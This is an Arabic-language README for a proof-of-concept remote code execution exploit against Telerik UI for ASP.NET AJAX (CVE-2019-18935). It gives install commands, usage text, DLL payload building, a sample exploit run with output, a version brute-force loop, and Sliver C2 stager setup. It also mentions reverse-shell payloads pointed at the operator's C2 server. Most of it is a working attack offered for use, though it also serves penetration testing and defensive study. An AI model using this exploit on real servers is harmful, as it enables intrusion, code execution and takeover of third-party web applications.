
استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX.
برنامج استغلال (Proof-of-Concept) لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI for ASP.NET AJAX تتيح تنفيذ التعليمات البرمجية عن بُعد.
Telerik UI for ASP.NET AJAX هي مجموعة مكونات واجهة مستخدم مستخدمة على نطاق واسع لتطبيقات الويب. وهي تقوم بإلغاء تسلسل كائنات JSON بشكل غير آمن مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد على المضيف الأساسي للبرنامج. لمزيد من المعلومات، انظر:
ستحتاج إلى تثبيت Visual Studio و.NET Framework SDK لتجميع حمولات DLL لتجميعات .NET ذات الوضع المختلط باستخدام build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
يستخدم هذا الاستغلال منطق التشفير من RAU_crypto. تعتمد فئة RAUCipher داخل RAU_crypto.py على PyCryptodome، وهو بديل مباشر لوحدة PyCrypto المهجورة. تسبب PyCryptodome وPyCrypto مشاكل عند تثبيتهما في نفس البيئة، لذا فإن أفضل طريقة لتلبية هذا الاعتماد هي تثبيت الوحدة داخل بيئة افتراضية، كما هو موضح أعلاه.
وجّه السطر 17 من build-dll.bat إلى مسار تثبيت Visual Studio لديك.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
تتطلب بعض الحمولات (مثل reverse-shell.c وsliver-stager.c) ضبط حقلي HOST وPORT ليشيرا إلى خادم C2 الخاص بك—تأكد من القيام بذلك!
في بيئة Windows مع تثبيت Visual Studio، استخدم build-dll.bat لإنشاء مكتبات DLL لتجميعات الوضع المختلط 32- و64-بت لاستخدامها كحمولة أثناء إلغاء التسلسل. يمكنك اختيارياً تحديد بنية وحدة المعالجة المركزية الهدف كوسيطة سطر أوامر ثانية (مثل x86).
build-dll.bat sleep.c
مرّر ملف DLL الذي تم إنشاؤه أعلاه إلى CVE-2019-18935.py، والذي سيرفع ملف DLL إلى دليل على الخادم الهدف (شريطة أن يكون لخادم الويب أذونات كتابة في ذلك الدليل) ثم يحمّل ملف DLL في التطبيق عبر استغلال إلغاء التسلسل غير الآمن.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
في المثال أعلاه، استغرق التطبيق 10 ثوانٍ على الأقل للاستجابة، مما يشير إلى أن حمولة DLL نجحت في استدعاء Sleep(10000).
كما هو موضح في محاضرة DerpCon .NET Roulette (39:46)، يمكننا تخمين إصدار Telerik UI بالقوة الغاشمة عن طريق تحديد الإصدار الرئيسي فقط لتجميعة Telerik.Web.UI (أي الجزء 2017 من سلسلة الإصدار الكاملة 2017.2.503.40) عند رفع ملف. تقلل هذه التقنية بشكل كبير من مساحة البحث مقارنة بتخمين كل إصدار محدد من هذا البرنامج بالقوة الغاشمة — وكفائدة إضافية، يمكنها حتى اكتشاف إصدارات غير مدرجة صراحةً في سجل الإصدارات لهذا البرنامج. تعرّف على المزيد حول إصدارات تجميعات .NET على MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
تستقبل حمولة المرحلة sliver-stager.c المخصصة لـ Sliver وتنفذ شيل كود Sliver (المرحلة) من خادم Sliver (خادم المراحل)، وفقاً لبروتوكول المراحل في Metasploit. لمزيد من التفاصيل حول كيفية عمل ذلك، اقرأ الترويسة في مصدر الحمولة.
ابدأ تشغيل خادم Sliver. مزيد من المعلومات حول إعداد الخادم هنا.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server